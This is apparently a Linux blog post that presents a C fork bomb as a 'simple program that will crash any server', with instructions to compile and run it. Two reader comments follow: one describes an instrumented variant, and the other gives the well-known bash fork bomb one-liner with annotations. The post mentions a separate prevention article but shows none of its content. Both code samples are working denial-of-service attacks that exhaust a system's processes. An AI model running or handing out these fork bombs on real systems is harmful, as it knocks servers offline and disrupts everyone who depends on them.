linux poison RSS
linux poison Email

Simple C program that will crash any server

This is very simple C program, if executed, will defenately crash the server

Open Vi editor and type/copy the following lines

main()
{
while(1)
{
fork();
}
}

Save the file with any name, something like ... crash.c
Compile it: gcc crash.c
run it: ./a.out

And see how your server is getting crash.
Note: In future post I will explain how to protect your server from such program.


Here is the solution to prevent such attack - here 


2 comments:

Anonymous said...

That's an old one, but it's a nasty. I coded up a variant, where each process printed its process ID and parent process ID before forking. That way, I could tell how many processes were created and what the tree looked like. I could also tell if different trees crashed differently and if the different kernels, schedulers and tweakables made any practical difference.

blackmesa said...

Here is a common variant for BaSH and some other shells:

:(){ :|:& }; :

:() { # Define a new function
:|:& # Execute function piped into itself, then backgrounded
} #Close function; needs a semicolon if on one line
: # Execute function

Post a Comment

Related Posts with Thumbnails